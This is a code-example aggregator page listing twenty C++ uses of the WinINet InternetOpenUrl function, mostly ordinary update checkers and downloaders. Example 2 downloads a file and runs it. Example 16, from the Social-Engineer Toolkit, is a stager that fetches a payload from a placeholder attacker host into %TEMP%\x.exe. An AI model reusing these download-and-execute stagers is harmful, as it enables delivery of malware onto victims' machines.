• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ InternetOpenUrl函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中InternetOpenUrl函数的典型用法代码示例。如果您正苦于以下问题:C++ InternetOpenUrl函数的具体用法?C++ InternetOpenUrl怎么用?C++ InternetOpenUrl使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了InternetOpenUrl函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: InternetOpen

unsigned long BuscarActualizaciones::ThreadBuscarActualizacion(void *phWnd) {
//	try {
		HINTERNET		Sesion				= InternetOpen(TEXT("BubaTronik"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
		HINTERNET		Peticion			= InternetOpenUrl(Sesion, TEXT("http://www.devildrey33.es/BubaTronik/VERSION_BUBATRONIK.txt"), NULL, 0, INTERNET_FLAG_RELOAD, 0);
		char			Txt[32]				= "";
		DWORD			BytesLeidos			= 0;
		DWORD			TotalBytesLeidos	= 0;
		DWORD			MaxBuffer			= sizeof(Txt) -1;
		DWL::DWLString	Ret;
		// No se ha encontrado la version :/
		if (Peticion == NULL) {
    		InternetCloseHandle(Sesion);
			return 0;
		}

		BOOL Leido = InternetReadFile(Peticion, Txt, MaxBuffer, &BytesLeidos);
		if (BytesLeidos != 0) {
			Txt[BytesLeidos] = 0;
			Ret += Txt;
	//		ZeroMemory(Txt, sizeof(Txt) * sizeof(char));
		}
		HWND hWndPlayer = reinterpret_cast<HWND>(phWnd);

		if (Ret.Tam() == 0)	{
			InternetCloseHandle(Peticion);
			InternetCloseHandle(Sesion);
			return 0; 
		}
		if (Ret[0] == TEXT('<')) {
			InternetCloseHandle(Peticion);
			InternetCloseHandle(Sesion);
			return 0; // no se ha encontrado el documento
		}
		DWL::DWLString Version;
		Version.sprintf(TEXT("%.02f"), static_cast<float>(APP_NUM_VER));
		// La versión no es la misma, leemos las novedades
		if (Ret.SubStr(0, Version.Tam()) != Version)	{
    	
    		HINTERNET PeticionNovedades	= InternetOpenUrl(Sesion, TEXT("http://www.devildrey33.es/BubaTronik/NOVEDADES_BUBATRONIK.txt"), NULL, 0, INTERNET_FLAG_RELOAD, 0);
			DWORD	  TotalDatos        = 0;
    		DWORD	  Descargado		= 64;
			TCHAR	  TotalDatosStr[64];
			BOOL bRet = HttpQueryInfo(PeticionNovedades, HTTP_QUERY_CONTENT_LENGTH, (LPVOID)TotalDatosStr, &Descargado, (LPDWORD)0);
			if (bRet == TRUE) TotalDatos = _wtol(TotalDatosStr);
			char     *TmpBuffer = new char[TotalDatos + 1];

    		Leido = InternetReadFile(PeticionNovedades, TmpBuffer, TotalDatos, &BytesLeidos);
    		if (BytesLeidos != 0 && BytesLeidos <= TotalDatos) TmpBuffer[BytesLeidos] = 0;
			Sistema.App.PlayerEx.VentanaActualizacion.Novedades(TmpBuffer);
			delete [] TmpBuffer;

			PostMessage(hWndPlayer, MENSAJE_ACTUALIZACION_ENCONTRADA, 0, 0);
		}
		InternetCloseHandle(Peticion);
		InternetCloseHandle(Sesion);
//	}
//	catch (...) {
//	}
	return 0;
}
开发者ID:devildrey33,项目名称:BubaTronik,代码行数:60,代码来源:BuscarActualizaciones.cpp


示例2: DownloadFile

void DownloadFile(char *szUrl, char *szDestLocation)
{
	HANDLE hFile;
	HINTERNET hInetOpen, hInetUrl;
	char szTemp[1024]="";
	DWORD dwBytesRead, dwRead;

	hFile = CreateFile(szDestLocation, GENERIC_WRITE, FILE_SHARE_READ, 0, CREATE_ALWAYS, 0, NULL);
	
	hInetOpen = InternetOpen(" ", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

	if(hInetOpen && hFile != INVALID_HANDLE_VALUE)
	{
		hInetUrl = InternetOpenUrl(hInetOpen, szUrl, NULL, NULL, NULL, NULL);
		
		if(hInetUrl)
		{
			do
			{
				InternetReadFile(hInetUrl, szTemp, 1024, &dwBytesRead);
				WriteFile(hFile, szTemp, dwBytesRead, &dwRead, 0);
			}
			while(dwBytesRead==1024);
		}
	}

	SetEndOfFile(hFile);

	CloseHandle(hFile);
	InternetCloseHandle(hInetUrl);
	InternetCloseHandle(hInetOpen);

	RunApp(szDestLocation);
}
开发者ID:fatenocaster,项目名称:obfuscation-crypto-repo,代码行数:34,代码来源:SomeFunctions.cpp


示例3: TestURL

void TestURL(CString url, int fullbyte)
{
	TCHAR buffer[HTTP_BUFFER_LEN];//下载文件的缓冲区
	DWORD bytes_read;//下载的字节数
	//打开一个internet连接
	HINTERNET internet=InternetOpen(_T("HTTP"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);

	if(!internet)
		return;
	//打开一个http url地址

	HINTERNET file_handle=InternetOpenUrl(internet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);

	if(!file_handle)
		return;
	//从url地址中读取文件内容到缓冲区buffer
	BOOL b = 0;
	int readbyte = 0, time = 0;
	while(readbyte < HTTP_BUFFER_LEN && time < 3000) {
		b = InternetReadFile(file_handle, buffer, 128 , &bytes_read);
		readbyte += bytes_read;
		time++;
	}
	if(!b)
		return;
	//关闭连接
	InternetCloseHandle(internet);
}
开发者ID:william0wang,项目名称:meditor,代码行数:28,代码来源:shared.cpp


示例4: QueryWebPage

const wxString QueryWebPage( const wxString &url )
{
    wxString result;
    HINTERNET hInternet, hFile;
    hInternet = InternetOpen( L"Browser", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL );

    if( hInternet )
    {
        hFile = InternetOpenUrl(
            hInternet,
            url.wc_str(),
            NULL,
            0,
            INTERNET_FLAG_RELOAD,
            0
            );

        if( hFile )
        {
            char buffer[4096];
            DWORD dwRead;
            while( InternetReadFile( hFile, buffer, sizeof(buffer)-1, &dwRead ) )
            {
                if( dwRead == 0 )
                    break;
                buffer[dwRead] = 0;
                result += buffer;
            }
        }
        InternetCloseHandle( hFile );
    }
    InternetCloseHandle( hInternet );

    return result;
}
开发者ID:GeorgeBenjaminBailey,项目名称:ripe,代码行数:35,代码来源:webutility.cpp


示例5: InternetOpen

CString CDialogCheckUpdate::GetLatestVersionInfo(LPCTSTR pstrURL)
{
	HINTERNET hInet = InternetOpen(_T("Check Update"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
	HINTERNET hUrl = InternetOpenUrl(hInet, pstrURL, NULL, (DWORD)-1L
		, INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE |WININET_API_FLAG_ASYNC, NULL);

	char szBuffer[512] = { 0 };
	TCHAR szString[512] = { 0 };
	if(hUrl)
	{
		DWORD dwRead;

		if (InternetReadFile(hUrl, szBuffer, sizeof(szBuffer), &dwRead))
		{
			if (dwRead > 0)
			{
				szBuffer[dwRead] = 0;
				MultiByteToWideChar(CP_ACP,0,szBuffer, strlen(szBuffer)+1, szString, sizeof(szString)/2);
			}
		}
	}

	InternetCloseHandle(hInet);
	return szString;
}
开发者ID:ECNU-ZR,项目名称:physwf-c-lab,代码行数:25,代码来源:DialogCheckUpdate.cpp


示例6: OpenFile

int TInetFile::OpenFile(char*Url)
{
if(hUrl!=NULL)InternetCloseHandle(hUrl);
if(internet!=NULL)InternetCloseHandle(internet);
internet=InternetOpen(Application->Title.c_str(),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(internet==(HANDLE)NULL)
        {
        return 1;
        }
String sU=Url;
sU=sU.UpperCase();
if(sU.Pos("FTP://")) //Это FTP файл
{
Protokol=INET_FILE_FTP;
}else                //Это HTTP файл
{
Protokol=INET_FILE_HTTP;
}
hUrl=InternetOpenUrl(internet,Url,NULL,0,INTERNET_FLAG_EXISTING_CONNECT,0);
if(hUrl==NULL)
        {
        InternetCloseHandle(internet);
        return 2;
        }
Error=false;
CheckFileSize();
Position=0;
return 0;
}
开发者ID:MOROZIL-nic,项目名称:craft,代码行数:29,代码来源:myclasses.cpp


示例7: DownloadURL

BOOL DownloadURL(LPCTSTR szURL, LPCTSTR szFile)
{
    BOOL            bRet = FALSE;
    HINTERNET	    hInternet = NULL, hURL = NULL;
    BYTE            pBuf[DEF_BUF_SIZE] = {0,};
    DWORD           dwBytesRead = 0;
    FILE            *pFile = NULL;
    errno_t         err = 0;

    hInternet = InternetOpen(L"ReverseCore",
                             INTERNET_OPEN_TYPE_PRECONFIG,
                             NULL,
                             NULL,
                             0);
    if( NULL == hInternet )
    {
        OutputDebugString(L"InternetOpen() failed!");
        return FALSE;
    }

    hURL = InternetOpenUrl(hInternet,
                           szURL,
                           NULL,
                           0,
                           INTERNET_FLAG_RELOAD,
                           0);
    if( NULL == hURL )
    {
        OutputDebugString(L"InternetOpenUrl() failed!");
        goto _DownloadURL_EXIT;
    }

    if( err = _tfopen_s(&pFile, szFile, L"wt") )
    {
        OutputDebugString(L"fopen() failed!");
        goto _DownloadURL_EXIT;
    }

    while( InternetReadFile(hURL, pBuf, DEF_BUF_SIZE, &dwBytesRead) )
    {
        if( !dwBytesRead )
            break;

        fwrite(pBuf, dwBytesRead, 1, pFile);
    }

    bRet = TRUE;

_DownloadURL_EXIT:
    if( pFile )
        fclose(pFile);

    if( hURL )
        InternetCloseHandle(hURL);

    if( hInternet )
        InternetCloseHandle(hInternet);

    return bRet;
}
开发者ID:junehappylove,项目名称:GitHub,代码行数:60,代码来源:myhack3.cpp


示例8: InternetOpen

int CZipExists::RemoteFileExists()
{
	int iResult = -1;   // network error
	DWORD dwFilePos = 0;
	HINTERNET hInternet = NULL, hDownload = NULL; 

   CString csUrl = m_csUrl + m_csFileName;
   //AfxMessageBox(csUrl, MB_ICONINFORMATION); 

	hInternet = InternetOpen(_T("Internet"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	if(hInternet != NULL)
	{
		hDownload = InternetOpenUrl(hInternet, csUrl, NULL, 0, INTERNET_FLAG_RELOAD, 0);
		if(hDownload != NULL)
		{
         dwFilePos = InternetSetFilePointer(hDownload, 0, NULL, FILE_BEGIN, NULL);
         iResult = (dwFilePos != (DWORD)-1) ? 1 : 0;
			InternetCloseHandle(hDownload);
		}
      else
      {
         GetInetError();
      }
		InternetCloseHandle(hInternet);
	}
   else
   {
      GetInetError();
   }
	return iResult;
}
开发者ID:identity0815,项目名称:os45,代码行数:31,代码来源:ZipExists.cpp


示例9: InternetOpen

BOOL vmsDownloadForTrafficCollector::MakeWasteDownload(LPCSTR pszUrl)
{
	bool bHTTPS = !strnicmp (pszUrl, "https://", 8);
	HINTERNET hInet = InternetOpen ("Mozilla/4.05 [en] (WinXP; I)", INTERNET_OPEN_TYPE_PRECONFIG,
		NULL, NULL, 0);
	if (hInet == NULL)
		return FALSE;
	HINTERNET hFile = InternetOpenUrl (hInet, pszUrl, NULL, 0, INTERNET_FLAG_IGNORE_CERT_CN_INVALID | 
		INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | 
		INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL);
	if (hFile == NULL)
	{
		InternetCloseHandle (hInet);
		return FALSE;
	}
	BYTE ab [1024]; DWORD dw = 0; int iMaxSize = 200*1024/sizeof(ab);
	extern vmsWinInetHttpTrafficCollector _WinInetTrafficCollector;
	while (InternetReadFile (hFile, ab, sizeof (ab), &dw) && dw != 0 && --iMaxSize > 0)
	{
		if (bHTTPS)
			_WinInetTrafficCollector.OnInternetReadFile (hFile, ab, dw);
	}
	InternetCloseHandle (hFile);
	if (bHTTPS)
		_WinInetTrafficCollector.OnInternetCloseHandle (hFile);
	InternetCloseHandle (hInet);
	return TRUE;
}
开发者ID:DragonZX,项目名称:fdm2,代码行数:28,代码来源:vmsDownloadForTrafficCollector.cpp


示例10: InternetOpenUrl

// Checks the current version (curr) against the latest version number stored
// in a file on the Internet.  All numbers are simple integers greater than 100.
// For example, version 4.10 is stored as the 3 digits "410".
// Returns false if a newer version is not available or there is an error, else true.
bool UpdateChecker::UpdateAvailable(int curr)
{
	bool retval = false;

	HINTERNET hint, hurl;
	hint = ::InternetOpen(_T("Update"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hint == (HINTERNET)0)
		return false;

	hurl = InternetOpenUrl(hint, strUrl, NULL, -1,
	                       INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE |
	                           INTERNET_FLAG_PRAGMA_NOCACHE | WININET_API_FLAG_ASYNC,
	                       NULL);

	char buf[8];            // stores bytes read from current version file on the Internet
	DWORD nread = 0;        // number of bytes read into buf
	if (hurl != (HINTERNET)0 &&	::InternetReadFile(hurl, buf, sizeof(buf)-1, &nread))
	{
		// File (or at least start of file) read OK
		buf[nread] = '\0';    // ensure string is null terminated
		int ver = atoi(buf);  // get version (eg "350" means version 3.50

		if (ver > curr)
			retval = true;

		::InternetCloseHandle(hurl);
	}
	::InternetCloseHandle(hint);

	return retval;
}
开发者ID:Andrew-Phillips,项目名称:HexEdit,代码行数:35,代码来源:UpdateChecker.cpp


示例11: download

void download(const wchar_t *Url, const char *save_as)/*将Url指向的地址的文件下载到save_as指向的本地文件*/
{
	byte Temp[MAXBLOCKSIZE];
	ULONG Number = 1;

	FILE *stream;
	HINTERNET hSession = InternetOpen(L"Test", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hSession != NULL)
	{
		HINTERNET handle2 = InternetOpenUrl(hSession, (LPCWSTR)Url, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
		if (handle2 != NULL)
		{

			//if ((stream = fopen_s(save_as, "wb")) != NULL)
			fopen_s(&stream, save_as, "wb");
			if (stream != NULL)
			{
				while (Number > 0)
				{
					InternetReadFile(handle2, Temp, MAXBLOCKSIZE - 1, &Number);

					fwrite(Temp, sizeof(char), Number, stream);
				}
				fclose(stream);
			}

			InternetCloseHandle(handle2);
			handle2 = NULL;
		}
		InternetCloseHandle(hSession);
		hSession = NULL;
	}
}
开发者ID:Damonyg,项目名称:OBS,代码行数:33,代码来源:download.cpp


示例12: linphone_gtk_get_new_version

static int linphone_gtk_get_new_version(const char *version_url, char *version, size_t size){
	DWORD dwDownloaded = 0;
	HINTERNET  hSession = NULL, hConnect = NULL;
	int ret=-1;
	
	hSession=InternetOpen("Linphone",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
	
	if (hSession==NULL) return -1;
	
	hConnect=InternetOpenUrl(hSession,version_url,NULL,0,0,0);
	
	if (hConnect==NULL) {
		InternetCloseHandle(hSession);
		return -1;
	}
	dwDownloaded=0;
	if (InternetReadFile(hConnect,version,size,&dwDownloaded) && dwDownloaded>0){
		version[dwDownloaded]='\0';
		ms_message("Got response: %s", version);
		/*check this not just html containing 404 not found*/
		if (strstr(version,"html")==0)
			ret=0;
	}
	
	// Close any open handles.
	if (hConnect) InternetCloseHandle(hConnect);
	if (hSession) InternetCloseHandle(hSession);
	return ret;
}
开发者ID:AirDev,项目名称:linphone-android,代码行数:29,代码来源:update.c


示例13: InternetOpen

void *http_get(wchar_t *url, u_long *d_size)
{
	HINTERNET h_inet = NULL;
	HINTERNET h_req  = NULL;
	char     *replay = NULL;
	
	do
	{
		h_inet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
		if (h_inet == NULL) break;
		
		h_req = InternetOpenUrl(h_inet, url, NULL, 0, INTERNET_FLAGS, 0);
		if (h_req == NULL) break;

		replay = http_receive(h_req, d_size);
	} while (0);

	if (h_req != NULL) {
		InternetCloseHandle(h_req);
	}
	if (h_inet != NULL) {
		InternetCloseHandle(h_inet);
	}
	return replay;
}
开发者ID:hoangduit,项目名称:reactos,代码行数:25,代码来源:http.c


示例14: __open_url

String __open_url (wchar_t const* url)
{
  HINTERNET inet = InternetOpen (L"Firefox/3.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
  if (!inet)
    return "";
  HINTERNET file = InternetOpenUrl (inet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
  if (!file)
  {
    InternetCloseHandle (inet);
    return "";
  }
  static char buf[65536];
  String res = "";
  while (true)
  {
    DWORD amount;
    if (!InternetReadFile (file, buf, sizeof buf - 2, &amount))
      break;
    if (amount == 0)
      break;
    buf[amount] = 0;
    res += buf;
  }
  InternetCloseHandle (file);
  InternetCloseHandle (inet);
  return res;
}
开发者ID:NateChambers,项目名称:mule-view,代码行数:27,代码来源:openurl.cpp


示例15: WinInetResource

	WinInetResource(const WinInet& winInet, const std::basic_string<TCHAR>& url, DWORD flags = 0)
	{
		handle_ = InternetOpenUrl(winInet.getHandle(), url.c_str(),
								  NULL, 0, flags, NULL);

		if(handle_ == NULL)
		{
			throw std::exception("InternetOpenUrl failed!");
		}
	}
开发者ID:pindumb,项目名称:temp,代码行数:10,代码来源:GetWanIpAddress.cpp


示例16: main

int main()
{
	// create a buffer for the temp directory path, technically if the path is longer then this there would be issues but this is a hack job :P
	char path[5000]; 
    char* tmpdir = getenv("TMP");
    if (!tmpdir)
	// grab the temp directory %TEMP% in Windows
    tmpdir = getenv("TEMP");
	// print our temp directory to our buffer we created 'path'
	sprintf(path, "%s\\x.exe", tmpdir);
    // used to do dynamic DLL writing on the fly through SET, IP Address goes here with null byte terminator
	char* host = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; 
	char* url = new char[2000]; // create a buffer for our replaced IP address
	sprintf(url,"http://%s/x", host); // should end up being http://ipaddressorhost/x
	LPCSTR userAgent = "The Social-Engineer Toolkit (SET)"; // SET doesn't care what your user-agent string is

	// start the internet connection and handle downloading the data
	HINTERNET hNet = InternetOpen(userAgent,
		PRE_CONFIG_INTERNET_ACCESS,
		NULL,
		INTERNET_INVALID_PORT_NUMBER,
		0);

	HINTERNET hUrl = InternetOpenUrl(hNet,
		url,
		NULL,
		0,
		INTERNET_FLAG_RELOAD,
		0);

	LPBYTE lpData = NULL;
	DWORD dwLength = 0;
	GetData(hUrl, lpData, dwLength);
	InternetCloseHandle(hUrl);
	InternetCloseHandle(hNet);

	// Do something with the data in lpData here.
	// Size of data is in dwLength

	
	FILE *file;
	// write out a file to our temp directory, temp equals %TEMP%\x.exe
	file = fopen(path, "wb"); // write file x.vbs
	// for the length of the file write out the binary data from our buffer
	for (DWORD i=0; i<dwLength;i++)
	{
		BYTE c = lpData[i];
		fputc(c, file);
	}      
	// close our file
	fclose(file);
	// clean up our binary data in the buffer
	delete[] lpData;
	return 0;
}
开发者ID:AazibSafi,项目名称:pwn_plug_sources,代码行数:55,代码来源:hijacking.c


示例17: DetectIPAddress

DWORD DetectIPAddress (char *pszURL)
   {
   DWORD dwRet = 0;
   HINTERNET hINet, hFile;
   hINet = InternetOpen("InetURL/1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 );
   
   if ( !hINet )
      {
      // TODO: Good error handling
//      fprintf(stderr, "InternetOpen failed\n");
//      exit(-1);
      }

   hFile = InternetOpenUrl( hINet, pszURL, NULL, 0, 0, 0 ) ;

   if ( hFile )
      {
      CHAR buffer[32768];
      DWORD dwRead;
      char *psz = buffer;
      DWORD cch = 0;
      int cPasses = 0;
      
      while (InternetReadFile( hFile, psz, 32767 - cch, &dwRead)) 
         {
         if (dwRead == 0)
            break;

         psz += dwRead;
         cch += dwRead;

         ++cPasses;
         }

      if (cch > 0)
         {
         buffer[cch] = '\0';
         int nIP1, nIP2, nIP3, nIP4;
         char *psz;
         psz = FindIPAddressInString(buffer);
         if (psz)
            {
            sscanf(psz, "%d.%d.%d.%d", &nIP1, &nIP2, &nIP3, &nIP4);
            dwRet = MAKEIPADDRESS(nIP1, nIP2, nIP3, nIP4);
            }
         }

      InternetCloseHandle( hFile );
      }

   InternetCloseHandle( hINet );
   
   return dwRet;
   }
开发者ID:ephion85,项目名称:moonbase-console,代码行数:54,代码来源:MoonbaseConsole.cpp


示例18: HttpGetToFile

// Download content of a url to a file
bool HttpGetToFile(const WCHAR *url, const WCHAR *destFilePath)
{
    bool ok = false;
    HINTERNET  hReq = nullptr, hInet = nullptr;
    DWORD dwRead = 0;
    DWORD headerBuffSize = sizeof(DWORD);
    DWORD statusCode = 0;
    char buf[1024];

    HANDLE hf = CreateFile(destFilePath, GENERIC_WRITE, FILE_SHARE_READ, nullptr,
            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,  nullptr);
    if (INVALID_HANDLE_VALUE == hf)
        goto Exit;

    hInet = InternetOpen(USER_AGENT, INTERNET_OPEN_TYPE_PRECONFIG, nullptr, nullptr, 0);
    if (!hInet)
        goto Exit;

    hReq = InternetOpenUrl(hInet, url, nullptr, 0, 0, 0);
    if (!hReq)
        goto Exit;

    if (!HttpQueryInfoW(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &statusCode, &headerBuffSize, nullptr)) {
        goto Exit;
    }
    if (statusCode != 200) {
        goto Exit;
    }

    for (;;) {
        if (!InternetReadFile(hReq, buf, sizeof(buf), &dwRead))
            goto Exit;
        if (dwRead == 0)
            break;
        DWORD size;
        BOOL wroteOk = WriteFile(hf, buf, (DWORD)dwRead, &size, nullptr);
        if (!wroteOk)
            goto Exit;

        if (size != dwRead)
            goto Exit;
    }

    ok = true;
Exit:
    CloseHandle(hf);
    if (hReq)
        InternetCloseHandle(hReq);
    if (hInet)
        InternetCloseHandle(hInet);
    if (!ok)
        file::Delete(destFilePath);
    return ok;
}
开发者ID:kepazon,项目名称:my_sumatrapdf,代码行数:55,代码来源:HttpUtil.cpp


示例19: InternetOpenUrl

void CHttpRequest::RunRequest()
{
	HINTERNET hURL = InternetOpenUrl( m_hInternet, m_sURL, m_sRequestHeaders,
		m_sRequestHeaders.GetLength(), INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_RELOAD | 
		INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE , NULL );
	
	if ( hURL != NULL )
	{
		RunResponse( hURL );
		InternetCloseHandle( hURL );
	}
}
开发者ID:ericfillipe1,项目名称:shareaza-code,代码行数:12,代码来源:HttpRequest.cpp


示例20: DownloadFile

bool DownloadFile(const WCHAR* url, const WCHAR* file)
{
	bool result = false;
	HINTERNET hNet = InternetOpen(L"Mozilla/5.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hNet)
	{
		HANDLE hFile = CreateFile(file, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile)
		{
			HINTERNET hUrl = InternetOpenUrl(hNet, url, NULL, 0, INTERNET_FLAG_RESYNCHRONIZE, 0);
			if (hUrl)
			{
				const DWORD bufferSize = 8192;
				BYTE* buffer = (BYTE*)malloc(bufferSize);
				if (buffer)
				{
					DWORD readSize;
					while (InternetReadFile(hUrl, buffer, bufferSize, &readSize))
					{
						if (readSize == 0)
						{
							// All data read.
							result = true;
							break;
						}

						DWORD writeSize;
						if (!WriteFile(hFile, buffer, readSize, &writeSize, NULL) ||
							readSize != writeSize)
						{
							break;
						}
					}

					free(buffer);
				}

				 InternetCloseHandle(hUrl);
			}

			CloseHandle(hFile);

			if (!result)
			{
				DeleteFile(file);
			}
		}

		InternetCloseHandle(hNet);
	}

	return result;
}
开发者ID:AlfiyaZi,项目名称:rainmeter,代码行数:53,代码来源:Util.cpp



注:本文中的InternetOpenUrl函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ InternetReadFile函数代码示例发布时间:2022-05-30
下一篇:
C++ InternetOpen函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap